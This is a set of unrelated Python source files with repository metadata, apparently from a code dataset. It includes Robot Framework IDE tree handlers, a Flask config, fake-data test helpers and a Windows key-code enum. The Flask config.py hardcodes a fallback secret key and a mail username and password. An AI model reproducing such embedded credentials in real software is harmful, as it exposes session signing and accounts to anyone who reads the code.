_label_include = 'Include' _label_expand_all = 'Expand all' _label_collapse_all = 'Collapse all' def __init__(self, controller, tree, node, settings): wx.Window.__init__(self, tree) self.controller = controller self._tree = tree self._node = node self._settings = settings self._rendered = False self.Show(False) self._popup_creator = tree._popup_creator @property def item(self): return self.controller.data @property def node(self): return self._node def show_popup(self): self._popup_creator.show(self, PopupMenuItems(self, self._actions), self.controller) def begin_label_edit(self): return False def double_clicked(self): pass def end_label_edit(self, event): pass def OnDelete(self, event): pass def OnNewSuite(self, event): pass def OnNewDirectory(self, event): pass def OnNewResource(self, event): pass def OnNewUserKeyword(self, event): pass def OnNewTestCase(self, event): pass def OnNewScalar(self, event): pass def OnNewListVariable(self, event): pass def OnNewDictionaryVariable(self, event): pass def OnCopy(self, event): pass def OnFindUsages(self, event): pass def OnSelectAllTests(self, event): self._tree.SelectAllTests(self._node) def OnDeselectAllTests(self, event): self._tree.DeselectAllTests(self._node) def OnSelectOnlyFailedTests(self, event): self._tree.SelectFailedTests(self._node) def OnSelectOnlyPassedTests(self, event): self._tree.SelectPassedTests(self._node) def OnSafeDelete(self, event): pass def OnExclude(self, event): pass def OnInclude(self, event): pass class _CanBeRenamed(object): def OnRename(self, event): self._tree.label_editor.OnLabelEdit() def begin_label_edit(self): def label_edit(): # FIXME: yep.yep.yep.yep.yep node = self._tree._controller.find_node_by_controller( self.controller) if node: self._tree.EditLabel(node) # Must handle pending events before label edit # This is a fix for situations where there is a pending action # that will change this label (Text Editor all changing actions) wx.CallAfter(label_edit) return True def end_label_edit(self, event): if not event.IsEditCancelled(): if self._is_valid_rename(event.GetLabel()): self.rename(event.GetLabel()) else: event.Veto() def _is_valid_rename(self, label): validation = self.controller.validate_name(label) if validation.error_message: self._show_validation_error(validation.error_message) return False return True def _show_validation_error(self, err_msg): wx.MessageBox(err_msg, 'Validation Error', style=wx.ICON_ERROR) class DirectoryHandler(_ActionHandler): is_draggable = False is_test_suite = False can_be_rendered = False _actions = [_ActionHandler._label_new_resource] def OnNewResource(self, event): NewResourceDialog(self.controller, self._settings).execute() class TestDataHandler(_ActionHandler): accepts_drag = lambda self, dragged: \ (isinstance(dragged, UserKeywordHandler) or isinstance(dragged, VariableHandler)) is_draggable = False is_test_suite = True @property def tests(self): return self.controller.tests @property def keywords(self): return self.controller.keywords @property def variables(self): return self.controller.variables def has_been_modified_on_disk(self): return self.item.has_been_modified_on_disk() def do_drop(self, item): self.controller.add_test_or_keyword(item) def rename(self, new_name): return False def OnSortKeywords(self, event): """Sorts the keywords inside the treenode""" self.controller.execute(SortKeywords()) @property def can_be_rendered(self): if not self._has_children(): return False return not self._rendered def _has_children(self): return (self.item.keyword_table or self.item.testcase_table or self.item.variable_table) def set_rendered(self): self._rendered = True def OnChangeFormat(self, event): ChangeFormatDialog(self.controller).execute() def OnNewUserKeyword(self, event): dlg = UserKeywordNameDialog(self.controller) if dlg.ShowModal() == wx.ID_OK: self.controller.execute(AddKeyword(dlg.get_name(), dlg.get_args())) dlg.Destroy() def OnNewScalar(self, event): self._new_var(ScalarVariableDialog) def OnNewListVariable(self, event): class FakePlugin(object): global_settings = self._settings self._new_var(ListVariableDialog, plugin=FakePlugin()) def OnNewDictionaryVariable(self, event): class FakePlugin(object): global_settings = self._settings self._new_var(DictionaryVariableDialog, plugin=FakePlugin()) def _new_var(self, dialog_class, plugin=None): dlg = dialog_class(self._var_controller, plugin=plugin) if dlg.ShowModal() == wx.ID_OK: name, value = dlg.get_value() comment = dlg.get_comment() self.controller.execute(AddVariable(name, value, comment)) @property def _var_controller(self): return self.controller.datafile_controller.variables class TestDataDirectoryHandler(TestDataHandler): def __init__(self, *args): TestDataHandler.__init__(self, *args) self._actions = [ _ActionHandler._label_add_suite, _ActionHandler._label_add_directory, _ActionHandler._label_new_resource, '---', _ActionHandler._label_new_user_keyword, _ActionHandler._label_new_scalar, _ActionHandler._label_new_list_variable, _ActionHandler._label_new_dict_variable, '---', _ActionHandler._label_change_format ] if self.controller.parent: self._actions.extend([_ActionHandler._label_delete_no_kbsc]) self._actions.extend([ '---', _ActionHandler._label_select_all, _ActionHandler._label_deselect_all, _ActionHandler._label_select_failed_tests, _ActionHandler._label_select_passed_tests ]) if self.controller.parent: self._actions.extend(['---', _ActionHandler._label_exclude]) self._actions.extend(['---', _ActionHandler._label_expand_all, _ActionHandler._label_collapse_all]) def OnExpandAll(self, event): self._tree.ExpandAllSubNodes(self._node) def OnCollapseAll(self, event): self._tree.CollapseAllSubNodes(self._node) def OnNewSuite(self, event): AddSuiteDialog(self.controller, self._settings).execute() def OnNewDirectory(self, event): AddDirectoryDialog(self.controller, self._settings).execute() def OnNewResource(self, event): NewResourceDialog(self.controller, self._settings).execute() def OnDelete(self, event): FolderDeleteDialog(self.controller).execute() def OnExclude(self, event): try: self.controller.execute(Exclude()) except DirtyRobotDataException: wx.MessageBox('Directory contains unsaved data!\n' 'You must save data before excluding.') class _FileHandlerThanCanBeRenamed(_CanBeRenamed): @overrides(_CanBeRenamed) def begin_label_edit(self): self._old_label = self._node.GetText() self._set_node_label(self.controller.basename) return _CanBeRenamed.begin_label_edit(self) @overrides(_CanBeRenamed) def end_label_edit(self, event): if not event.IsEditCancelled(): result = self.controller.execute( self._rename_command(event.GetLabel())) if result: self._rename_ok_handler() self._old_label = self.controller.basename else: event.Veto() else: self._set_node_label(self._old_label) def _rename_ok_handler(self): pass def _rename_command(self, label): raise NotImplementedError(self.__class__) def _set_node_label(self, label): self._tree.SetItemText(self._node, label) class ResourceFileHandler(_FileHandlerThanCanBeRenamed, TestDataHandler): is_test_suite = False _actions = [_ActionHandler._label_new_user_keyword, _ActionHandler._label_new_scalar, _ActionHandler._label_new_list_variable, _ActionHandler._label_new_dict_variable, '---', _ActionHandler._label_rename, _ActionHandler._label_change_format, _ActionHandler._label_sort_keywords, _ActionHandler._label_find_usages, _ActionHandler._label_delete] def OnFindUsages(self, event): ResourceFileUsages(self.controller, self._tree.highlight).show() def OnDelete(self, event): ResourceDeleteDialog(self.controller).execute() def OnSafeDelete(self, event): return self.OnDelete(event) @overrides(_FileHandlerThanCanBeRenamed) def _rename_command(self, label): return RenameResourceFile( label, self._check_should_rename_static_imports) def _check_should_rename_static_imports(self): return ResourceRenameDialog(self.controller).execute() class TestCaseFileHandler(_FileHandlerThanCanBeRenamed, TestDataHandler): accepts_drag = lambda *args: True _actions = [_ActionHandler._label_new_test_case, _ActionHandler._label_new_user_keyword, _ActionHandler._label_new_scalar, _ActionHandler._label_new_list_variable, _ActionHandler._label_new_dict_variable, '---', _ActionHandler._label_rename, _ActionHandler._label_change_format, _ActionHandler._label_sort_keywords, _ActionHandler._label_delete, '---', _ActionHandler._label_select_all, _ActionHandler._label_deselect_all, _ActionHandler._label_select_failed_tests, _ActionHandler._label_select_passed_tests ] def OnNewTestCase(self, event): dlg = TestCaseNameDialog(self.controller) if dlg.ShowModal() == wx.ID_OK: self.controller.execute(AddTestCase(dlg.get_name())) dlg.Destroy() def OnDelete(self, event): if wx.MessageBox('Delete test case file', caption='Confirm', style=wx.YES_NO | wx.ICON_QUESTION) == wx.YES: self.controller.execute(DeleteFile()) def OnSafeDelete(self, event): return self.OnDelete(event) @overrides(_FileHandlerThanCanBeRenamed) def _rename_command(self, label): return RenameFile(label) @overrides(_FileHandlerThanCanBeRenamed) def _rename_ok_handler(self): self._tree.DeselectAllTests(self._node) class _TestOrUserKeywordHandler(_CanBeRenamed, _ActionHandler): accepts_drag = lambda *args: False is_draggable = True _actions = [ _ActionHandler._label_copy_macro, 'Move Up\tCtrl-Up', 'Move Down\tCtrl-Down', _ActionHandler._label_rename, '---', 'Delete' ] def remove(self): self.controller.delete() def rename(self, new_name): self.controller.execute(self._create_rename_command(new_name)) def OnCopy(self, event): dlg = self._copy_name_dialog_class(self.controller, self.item) if dlg.ShowModal() == wx.ID_OK: self.controller.execute(CopyMacroAs(dlg.get_name())) dlg.Destroy() def OnMoveUp(self, event): if self.controller.move_up(): self._tree.move_up(self._node) def OnMoveDown(self, event): if self.controller.move_down(): self._tree.move_down(self._node) def OnDelete(self, event): self.controller.execute(RemoveMacro(self.controller)) class TestCaseHandler(_TestOrUserKeywordHandler): _datalist = property(lambda self: self.item.datalist) _copy_name_dialog_class = TestCaseNameDialog def _add_copy_to_tree(self, parent_node, copied): self._tree.add_test(parent_node, copied) def _create_rename_command(self, new_name): return RenameTest(new_name) class UserKeywordHandler(_TestOrUserKeywordHandler): is_user_keyword = True _datalist = property(lambda self: self.item.datalist) _copy_name_dialog_class = CopyUserKeywordDialog _actions = _TestOrUserKeywordHandler._actions + [ _ActionHandler._label_find_usages] def _add_copy_to_tree(self, parent_node, copied): self._tree.add_keyword(parent_node, copied) def _create_rename_command(self, new_name): return RenameKeywordOccurrences( self.controller.name, new_name, RenameProgressObserver(self.GetParent().GetParent()), self.controller.info) def OnFindUsages(self, event): Usages(self.controller, self._tree.highlight).show() class VariableHandler(_CanBeRenamed, _ActionHandler): accepts_drag = lambda *args: False is_draggable = True is_variable = True OnMoveUp = OnMoveDown = lambda *args: None _actions = [_ActionHandler._label_rename, 'Delete'] @overrides(_ActionHandler) def double_clicked(self): RideOpenVariableDialog(controller=self.controller).publish() def OnDelete(self, event): self.remove() def remove(self): self.controller.delete() def rename(self, new_name): self.controller.execute(UpdateVariableName(new_name)) @property def index(self): return self.controller.index class ResourceRootHandler(_ActionHandler): can_be_rendered = is_draggable = is_user_keyword = is_test_suite = False rename = lambda self, new_name: False accepts_drag = lambda self, dragged: False _actions = [_ActionHandler._label_add_resource] @property def item(self): return None def OnAddResource(self, event): path = RobotFilePathDialog( self, self.controller, self._settings).execute() if path: self.controller.load_resource(path, LoadProgressObserver(self)) class ExcludedDirectoryHandler(TestDataDirectoryHandler): is_draggable = False is_test_suite = True def __init__(self, *args): TestDataHandler.__init__(self, *args) self._actions = [_ActionHandler._label_include] def OnInclude(self, event): self.controller.execute(Include())

33.598958

80

0.661965

16,783

0.867204

0

1,914

0.098899

0

1,532

0.079161

426e4afa33488c3f61e9819e1e0e8ab285e730fe

902

py

Python

config.py

rajatomar788/pyblog

d450dc1ceb3a6b3aeb747648a0fb1b4334e4b3ae

[ "MIT" ]

null

config.py

rajatomar788/pyblog

d450dc1ceb3a6b3aeb747648a0fb1b4334e4b3ae

[ "MIT" ]

null

config.py

rajatomar788/pyblog

d450dc1ceb3a6b3aeb747648a0fb1b4334e4b3ae

[ "MIT" ]

null

import os basedir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY') or 'rajatomar788' if os.environ.get('DATABASE_URL') is None: SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'app.db') elif os.environ.get('EXTRA_DATABASE') is not None: SQLALCHEMY_DATABASE_URI = os.environ['EXTRA_DATABASE'] else: SQLALCHEMY_DATABASE_URI = os.environ['DATABASE_URL'] SQLALCHEMY_TRACK_MODIFICATIONS = False MAX_SEARCH_RESULTS = 50 POSTS_PER_PAGE = 20 basedir = basedir ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif']) MAX_CONTENT_PATH = 16*1024*1024 #mail server settings MAIL_SERVER = 'localhost' MAIL_PORT = 25 MAIL_USERNAME = 'Raja' MAIL_PASSWORD = 'raja788' #administrator list ADMINS = ['rajatomar788@gmail.com']

29.096774

80

0.674058

837

0.927938

0

227

0.251663

426e9a71b5a0425ef77735be32bb8398f28a2e1e

45

py

Python

ceefax/fonts/size7extracondensed/__init__.py

mscroggs/CEEFAX

8e7a075de1809064b77360da24ebbbaa409c3bf2

[ "MIT" ]

1

2020-03-28T15:53:22.000Z

ceefax/fonts/size7extracondensed/__init__.py

mscroggs/CEEFAX

8e7a075de1809064b77360da24ebbbaa409c3bf2

[ "MIT" ]

1

2021-02-05T13:43:52.000Z

ceefax/fonts/size7extracondensed/__init__.py

mscroggs/CEEFAX

8e7a075de1809064b77360da24ebbbaa409c3bf2

[ "MIT" ]

null

from .default import size7extracondensedfont

22.5

44

0.888889

0

426e9a7b517f49d7e52664e4ad563ce95c7c8446

3,433

py

Python

bom/helpers.py

gxyp/indabom

114991be2471eda2cf658c68706ab7bb05b06959

[ "MIT" ]

null

bom/helpers.py

gxyp/indabom

114991be2471eda2cf658c68706ab7bb05b06959

[ "MIT" ]

null

bom/helpers.py

gxyp/indabom

114991be2471eda2cf658c68706ab7bb05b06959

[ "MIT" ]

null

from bom.octopart_parts_match import match_part from bom.models import Part, PartClass, Seller, SellerPart, Subpart, \ Manufacturer, Organization, PartFile def create_a_fake_organization(user, free=False): org = Organization( name="Atlas", subscription='F' if free else 'P', owner=user) org.save() return org def create_some_fake_part_classes(): pc1 = PartClass(code=500, name='Wendy', comment='Mechanical Switches') pc1.save() pc2 = PartClass(code=200, name='Archibald', comment='') pc2.save() pc3 = PartClass(code=503, name='Ghost', comment='Like Kasper') pc3.save() return pc1, pc2, pc3 def create_a_fake_subpart(assembly_part, assembly_subpart, count=4): sp1 = Subpart( assembly_part=assembly_part, assembly_subpart=assembly_subpart, count=count) sp1.save() return sp1 def create_some_fake_sellers(organization): s1 = Seller(name='Mouser', organization=organization) s1.save() s2 = Seller(name='Digi-Key', organization=organization) s2.save() s3 = Seller(name='Archibald', organization=organization) s3.save() return s1, s2, s3 def create_some_fake_manufacturers(organization): m1 = Manufacturer(name='STMicroelectronics', organization=organization) m1.save() m2 = Manufacturer(name='Nordic Semiconductor', organization=organization) m2.save() m3 = Manufacturer(name='Murata', organization=organization) m3.save() return m1, m2, m3 def create_a_fake_seller_part( seller, part, moq, mpq, unit_cost, lead_time_days): sp1 = SellerPart( seller=seller, part=part, minimum_order_quantity=moq, minimum_pack_quantity=mpq, unit_cost=unit_cost, lead_time_days=lead_time_days) sp1.save() return sp1 def create_some_fake_parts(organization): (pc1, pc2, pc3) = create_some_fake_part_classes() (m1, m2, m3) = create_some_fake_manufacturers(organization=organization) pt1 = Part( manufacturer_part_number='STM32F401CEU6', number_class=pc2, number_item='3333', description='Brown dog', revision='1', manufacturer=m1, organization=organization) pt1.save() pt2 = Part( manufacturer_part_number='GRM1555C1H100JA01D', number_class=pc1, description='', manufacturer=None, organization=organization) pt2.save() pt3 = Part( manufacturer_part_number='NRF51822', number_class=pc3, description='Friendly ghost', manufacturer=m3, organization=organization) pt3.save() create_a_fake_subpart(pt1, pt2) create_a_fake_subpart(pt1, pt3, count=10) (s1, s2, s3) = create_some_fake_sellers(organization=organization) create_a_fake_seller_part( s1, pt1, moq=None, mpq=None, unit_cost=None, lead_time_days=None) create_a_fake_seller_part( s2, pt1, moq=1000, mpq=5000, unit_cost=0.1005, lead_time_days=7) create_a_fake_seller_part( s2, pt2, moq=200, mpq=200, unit_cost=0, lead_time_days=47) return pt1, pt2, pt3 def create_a_fake_partfile(file, part): pf1 = PartFile(file=None, part=part) pf1.save() return pf1

23.040268

77

0.642587

0

236

0.068745

426f6bd9b353f10dd5dac6c8afa818c7319f5d74

8,612

py

Python

keycodes/key/codes/win.py

jonchun/ptoys-mapper

a2dde413d37e897ec41b69ac979e538afb7435f0

[ "MIT" ]

null

keycodes/key/codes/win.py

jonchun/ptoys-mapper

a2dde413d37e897ec41b69ac979e538afb7435f0

[ "MIT" ]

null

keycodes/key/codes/win.py

jonchun/ptoys-mapper

a2dde413d37e897ec41b69ac979e538afb7435f0

[ "MIT" ]

null

# Source: # https://github.com/tpn/winsdk-10/blob/46c66795f49679eb4783377968ce25f6c778285a/Include/10.0.10240.0/um/WinUser.h # # convert all C-style comments to python multi-line string comment # find: (^/\*[\s\S\r]+?\*/) # replace: """\n$1\n""" # # convert all keycode #defines to be python constants # find: #define\s(.+_.+?)\s+([\w]+)(\s*)(/[/*].+)? # replace: $1 = $2$3# $4\n # # clean up results by removing lines with only a single # caused by previous regex # find: ^# $\n # replace: # # clean up duplicate newlines # find: (\s#.+\n)\n # replace: $1 # # clean up multi-line comments. # find: ^(\s{3,})(\S.+) # replace: $1 # $2 from enum import IntEnum class WinCodes(IntEnum): """ /* * Virtual Keys, Standard Set */ """ VK_LBUTTON = 0x01 VK_RBUTTON = 0x02 VK_CANCEL = 0x03 VK_MBUTTON = 0x04 # /* NOT contiguous with L & RBUTTON */ # if(_WIN32_WINNT >= 0x0500) VK_XBUTTON1 = 0x05 # /* NOT contiguous with L & RBUTTON */ VK_XBUTTON2 = 0x06 # /* NOT contiguous with L & RBUTTON */ # endif /* _WIN32_WINNT >= 0x0500 */ """ /* * 0x07 : reserved */ """ VK_BACK = 0x08 VK_TAB = 0x09 """ /* * 0x0A - 0x0B : reserved */ """ VK_CLEAR = 0x0C VK_RETURN = 0x0D """ /* * 0x0E - 0x0F : unassigned */ """ VK_SHIFT = 0x10 VK_CONTROL = 0x11 VK_MENU = 0x12 VK_PAUSE = 0x13 VK_CAPITAL = 0x14 VK_KANA = 0x15 VK_HANGEUL = 0x15 # /* old name - should be here for compatibility */ VK_HANGUL = 0x15 """ /* * 0x16 : unassigned */ """ VK_JUNJA = 0x17 VK_FINAL = 0x18 VK_HANJA = 0x19 VK_KANJI = 0x19 """ /* * 0x1A : unassigned */ """ VK_ESCAPE = 0x1B VK_CONVERT = 0x1C VK_NONCONVERT = 0x1D VK_ACCEPT = 0x1E VK_MODECHANGE = 0x1F VK_SPACE = 0x20 VK_PRIOR = 0x21 VK_NEXT = 0x22 VK_END = 0x23 VK_HOME = 0x24 VK_LEFT = 0x25 VK_UP = 0x26 VK_RIGHT = 0x27 VK_DOWN = 0x28 VK_SELECT = 0x29 VK_PRINT = 0x2A VK_EXECUTE = 0x2B VK_SNAPSHOT = 0x2C VK_INSERT = 0x2D VK_DELETE = 0x2E VK_HELP = 0x2F """ /* * VK_0 - VK_9 are the same as ASCII '0' - '9' (0x30 - 0x39) * 0x3A - 0x40 : unassigned * VK_A - VK_Z are the same as ASCII 'A' - 'Z' (0x41 - 0x5A) */ """ VK_0 = 0x30 VK_1 = 0x31 VK_2 = 0x32 VK_3 = 0x33 VK_4 = 0x34 VK_5 = 0x35 VK_6 = 0x36 VK_7 = 0x37 VK_8 = 0x38 VK_9 = 0x39 VK_A = 0x41 VK_B = 0x42 VK_C = 0x43 VK_D = 0x44 VK_E = 0x45 VK_F = 0x46 VK_G = 0x47 VK_H = 0x48 VK_I = 0x49 VK_J = 0x4A VK_K = 0x4B VK_L = 0x4C VK_M = 0x4D VK_N = 0x4E VK_O = 0x4F VK_P = 0x50 VK_Q = 0x51 VK_R = 0x52 VK_S = 0x53 VK_T = 0x54 VK_U = 0x55 VK_V = 0x56 VK_W = 0x57 VK_X = 0x58 VK_Y = 0x59 VK_Z = 0x5A VK_LWIN = 0x5B VK_RWIN = 0x5C VK_APPS = 0x5D """ /* * 0x5E : reserved */ """ VK_SLEEP = 0x5F VK_NUMPAD0 = 0x60 VK_NUMPAD1 = 0x61 VK_NUMPAD2 = 0x62 VK_NUMPAD3 = 0x63 VK_NUMPAD4 = 0x64 VK_NUMPAD5 = 0x65 VK_NUMPAD6 = 0x66 VK_NUMPAD7 = 0x67 VK_NUMPAD8 = 0x68 VK_NUMPAD9 = 0x69 VK_MULTIPLY = 0x6A VK_ADD = 0x6B VK_SEPARATOR = 0x6C VK_SUBTRACT = 0x6D VK_DECIMAL = 0x6E VK_DIVIDE = 0x6F VK_F1 = 0x70 VK_F2 = 0x71 VK_F3 = 0x72 VK_F4 = 0x73 VK_F5 = 0x74 VK_F6 = 0x75 VK_F7 = 0x76 VK_F8 = 0x77 VK_F9 = 0x78 VK_F10 = 0x79 VK_F11 = 0x7A VK_F12 = 0x7B VK_F13 = 0x7C VK_F14 = 0x7D VK_F15 = 0x7E VK_F16 = 0x7F VK_F17 = 0x80 VK_F18 = 0x81 VK_F19 = 0x82 VK_F20 = 0x83 VK_F21 = 0x84 VK_F22 = 0x85 VK_F23 = 0x86 VK_F24 = 0x87 # if(_WIN32_WINNT >= 0x0604) """ /* * 0x88 - 0x8F : UI navigation */ """ VK_NAVIGATION_VIEW = 0x88 VK_NAVIGATION_MENU = 0x89 VK_NAVIGATION_UP = 0x8A VK_NAVIGATION_DOWN = 0x8B VK_NAVIGATION_LEFT = 0x8C VK_NAVIGATION_RIGHT = 0x8D VK_NAVIGATION_ACCEPT = 0x8E VK_NAVIGATION_CANCEL = 0x8F # endif /* _WIN32_WINNT >= 0x0604 */ VK_NUMLOCK = 0x90 VK_SCROLL = 0x91 """ /* * NEC PC-9800 kbd definitions */ """ VK_OEM_NEC_EQUAL = 0x92 # // '=' key on numpad """ /* * Fujitsu/OASYS kbd definitions */ """ VK_OEM_FJ_JISHO = 0x92 # // 'Dictionary' key VK_OEM_FJ_MASSHOU = 0x93 # // 'Unregister word' key VK_OEM_FJ_TOUROKU = 0x94 # // 'Register word' key VK_OEM_FJ_LOYA = 0x95 # // 'Left OYAYUBI' key VK_OEM_FJ_ROYA = 0x96 # // 'Right OYAYUBI' key """ /* * 0x97 - 0x9F : unassigned */ """ """ /* * VK_L* & VK_R* - left and right Alt, Ctrl and Shift virtual keys. * Used only as parameters to GetAsyncKeyState() and GetKeyState(). * No other API or message will distinguish left and right keys in this way. */ """ VK_LSHIFT = 0xA0 VK_RSHIFT = 0xA1 VK_LCONTROL = 0xA2 VK_RCONTROL = 0xA3 VK_LMENU = 0xA4 VK_RMENU = 0xA5 # if(_WIN32_WINNT >= 0x0500) VK_BROWSER_BACK = 0xA6 VK_BROWSER_FORWARD = 0xA7 VK_BROWSER_REFRESH = 0xA8 VK_BROWSER_STOP = 0xA9 VK_BROWSER_SEARCH = 0xAA VK_BROWSER_FAVORITES = 0xAB VK_BROWSER_HOME = 0xAC VK_VOLUME_MUTE = 0xAD VK_VOLUME_DOWN = 0xAE VK_VOLUME_UP = 0xAF VK_MEDIA_NEXT_TRACK = 0xB0 VK_MEDIA_PREV_TRACK = 0xB1 VK_MEDIA_STOP = 0xB2 VK_MEDIA_PLAY_PAUSE = 0xB3 VK_LAUNCH_MAIL = 0xB4 VK_LAUNCH_MEDIA_SELECT = 0xB5 VK_LAUNCH_APP1 = 0xB6 VK_LAUNCH_APP2 = 0xB7 # endif /* _WIN32_WINNT >= 0x0500 */ """ /* * 0xB8 - 0xB9 : reserved */ """ VK_OEM_1 = 0xBA # // ';:' for US VK_OEM_PLUS = 0xBB # // '+' any country VK_OEM_COMMA = 0xBC # // ',' any country VK_OEM_MINUS = 0xBD # // '-' any country VK_OEM_PERIOD = 0xBE # // '.' any country VK_OEM_2 = 0xBF # // '/?' for US VK_OEM_3 = 0xC0 # // '`~' for US """ /* * 0xC1 - 0xC2 : reserved */ """ # if(_WIN32_WINNT >= 0x0604) """ /* * 0xC3 - 0xDA : Gamepad input */ """ VK_GAMEPAD_A = 0xC3 VK_GAMEPAD_B = 0xC4 VK_GAMEPAD_X = 0xC5 VK_GAMEPAD_Y = 0xC6 VK_GAMEPAD_RIGHT_SHOULDER = 0xC7 VK_GAMEPAD_LEFT_SHOULDER = 0xC8 VK_GAMEPAD_LEFT_TRIGGER = 0xC9 VK_GAMEPAD_RIGHT_TRIGGER = 0xCA VK_GAMEPAD_DPAD_UP = 0xCB VK_GAMEPAD_DPAD_DOWN = 0xCC VK_GAMEPAD_DPAD_LEFT = 0xCD VK_GAMEPAD_DPAD_RIGHT = 0xCE VK_GAMEPAD_MENU = 0xCF VK_GAMEPAD_VIEW = 0xD0 VK_GAMEPAD_LEFT_THUMBSTICK_BUTTON = 0xD1 VK_GAMEPAD_RIGHT_THUMBSTICK_BUTTON = 0xD2 VK_GAMEPAD_LEFT_THUMBSTICK_UP = 0xD3 VK_GAMEPAD_LEFT_THUMBSTICK_DOWN = 0xD4 VK_GAMEPAD_LEFT_THUMBSTICK_RIGHT = 0xD5 VK_GAMEPAD_LEFT_THUMBSTICK_LEFT = 0xD6 VK_GAMEPAD_RIGHT_THUMBSTICK_UP = 0xD7 VK_GAMEPAD_RIGHT_THUMBSTICK_DOWN = 0xD8 VK_GAMEPAD_RIGHT_THUMBSTICK_RIGHT = 0xD9 VK_GAMEPAD_RIGHT_THUMBSTICK_LEFT = 0xDA # endif /* _WIN32_WINNT >= 0x0604 */ VK_OEM_4 = 0xDB # // '[{' for US VK_OEM_5 = 0xDC # // '\|' for US VK_OEM_6 = 0xDD # // ']}' for US VK_OEM_7 = 0xDE # // ''"' for US VK_OEM_8 = 0xDF """ /* * 0xE0 : reserved */ """ """ /* * Various extended or enhanced keyboards */ """ VK_OEM_AX = 0xE1 # // 'AX' key on Japanese AX kbd VK_OEM_102 = 0xE2 # // "<>" or "\|" on RT 102-key kbd. VK_ICO_HELP = 0xE3 # // Help key on ICO VK_ICO_00 = 0xE4 # // 00 key on ICO # if(WINVER >= 0x0400) VK_PROCESSKEY = 0xE5 # endif /* WINVER >= 0x0400 */ VK_ICO_CLEAR = 0xE6 # if(_WIN32_WINNT >= 0x0500) VK_PACKET = 0xE7 # endif /* _WIN32_WINNT >= 0x0500 */ """ /* * 0xE8 : unassigned */ """ """ /* * Nokia/Ericsson definitions */ """ VK_OEM_RESET = 0xE9 VK_OEM_JUMP = 0xEA VK_OEM_PA1 = 0xEB VK_OEM_PA2 = 0xEC VK_OEM_PA3 = 0xED VK_OEM_WSCTRL = 0xEE VK_OEM_CUSEL = 0xEF VK_OEM_ATTN = 0xF0 VK_OEM_FINISH = 0xF1 VK_OEM_COPY = 0xF2 VK_OEM_AUTO = 0xF3 VK_OEM_ENLW = 0xF4 VK_OEM_BACKTAB = 0xF5 VK_ATTN = 0xF6 VK_CRSEL = 0xF7 VK_EXSEL = 0xF8 VK_EREOF = 0xF9 VK_PLAY = 0xFA VK_ZOOM = 0xFB VK_NONAME = 0xFC VK_PA1 = 0xFD VK_OEM_CLEAR = 0xFE """ /* * 0xFF : reserved */ """ # Custom Value Added VK_DISABLED = 0x100

20.407583

114

0.576637

7,941

0.922085

0

3,092

0.359034

426fdd67326d3cc89802cd8abeba99af022807c1

117

py

Python

application/flicket_errors/__init__.py

abbas0001/flicket

547a5e783cccf157d10df88608440aa2919d7e7b

[ "MIT" ]

null

application/flicket_errors/__init__.py

abbas0001/flicket

547a5e783cccf157d10df88608440aa2919d7e7b

[ "MIT" ]

null

application/flicket_errors/__init__.py

abbas0001/flicket

547a5e783cccf157d10df88608440aa2919d7e7b

[ "MIT" ]

null

#! python3 # -*- coding: utf-8 -*- # from flask import Blueprint bp_errors = Blueprint('flicket-errors', __name__)

14.625

49

0.683761

0

50

0.42735

4270b9f3f72e8e2eb3176ce2f540c1dc258f357c

399

py

Python

SmartBuild/modules/migrations/0003_module_shortcut.py

ampamo/smart-build

a0c9a3871eb7ca06a6cd6d4a15aba70e2291f4fb

[ "CC0-1.0" ]

null

SmartBuild/modules/migrations/0003_module_shortcut.py

ampamo/smart-build

a0c9a3871eb7ca06a6cd6d4a15aba70e2291f4fb

[ "CC0-1.0" ]

null

SmartBuild/modules/migrations/0003_module_shortcut.py

ampamo/smart-build

a0c9a3871eb7ca06a6cd6d4a15aba70e2291f4fb

[ "CC0-1.0" ]

null

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('modules', '0002_module_floor'), ] operations = [ migrations.AddField( model_name='module', name='shortcut', field=models.BooleanField(default=False), ), ]

19.95

53

0.601504

290

0.726817

0

69

0.172932

4273f06b359f41b03bbac8b02773bc579762c6fd

6,789

py

Python

app/common.py

yxonic/dl-boilerplate

d503716ad514929ddfdc41341e37b0e3f1a1f0f5

[ "MIT" ]

1

2017-09-26T05:13:19.000Z

app/common.py

yxonic/dl-boilerplate

d503716ad514929ddfdc41341e37b0e3f1a1f0f5

[ "MIT" ]

null

app/common.py

yxonic/dl-boilerplate

d503716ad514929ddfdc41341e37b0e3f1a1f0f5

[ "MIT" ]

null

import abc import argparse import logging import pathlib from collections import namedtuple from operator import itemgetter import toml class NotConfiguredError(Exception): pass class ParseError(Exception): pass class Model(abc.ABC): """Interface for model that can save/load parameters. Each model class should have an ``_add_argument`` class method to define model arguments along with their types, default values, etc. """ @classmethod @abc.abstractmethod def add_arguments(cls, parser: argparse.ArgumentParser): """Add arguments to an argparse subparser.""" raise NotImplementedError @classmethod def build(cls, **kwargs): """Build model. Parameters are specified by keyword arguments. Example: >>> from models import Simple >>> model = Simple.build(foo=3) >>> print(model.config) Config(foo=3) """ keys, values = zip(*sorted(list(kwargs.items()), key=itemgetter(0))) config = namedtuple(cls.__name__, keys)(*values) return cls(config) @classmethod def parse(cls, args): """Parse command-line options and build model.""" class _ArgumentParser(argparse.ArgumentParser): def error(self, message): raise ParseError(message) parser = _ArgumentParser(prog='', add_help=False) cls.add_arguments(parser) args = parser.parse_args(args) config = dict(args._get_kwargs()) Model._unfold_config(config) return cls.build(**config) def __init__(self, config): """ Args: config (namedtuple): model configuration """ self.config = config def __str__(self): return str(self.config) @staticmethod def _unfold_config(cfg): for k, v in list(cfg.items()): if isinstance(v, dict): Model._unfold_config(v) if '.' not in k: continue d = cfg for sec in k.split('.')[:-1]: if sec in d: d = d[sec] else: d[sec] = {} d = d[sec] d[k.split('.')[-1]] = v del cfg[k] class Workspace: """Workspace utilities. One can save/load configurations, build models with specific configuration, save snapshots, open results, etc., using workspace objects.""" def __init__(self, path: str, model=None, config=None): self._path = pathlib.Path(path) self._log_path = self._path / 'log' self._snapshot_path = self._path / 'snapshot' self._result_path = self._path / 'result' if model is None: self._model_cls = None self._config = None return if config is None: config = {} self._set_model(model, config) self._save() def __str__(self): return str(self.path) def __repr__(self): return 'Workspace(path=' + str(self.path) + ')' def _set_model(self, model, config): if isinstance(model, str): self._model_cls = Workspace._get_class(model) else: self._model_cls = model self._config = config @staticmethod def _get_class(name): from . import models as 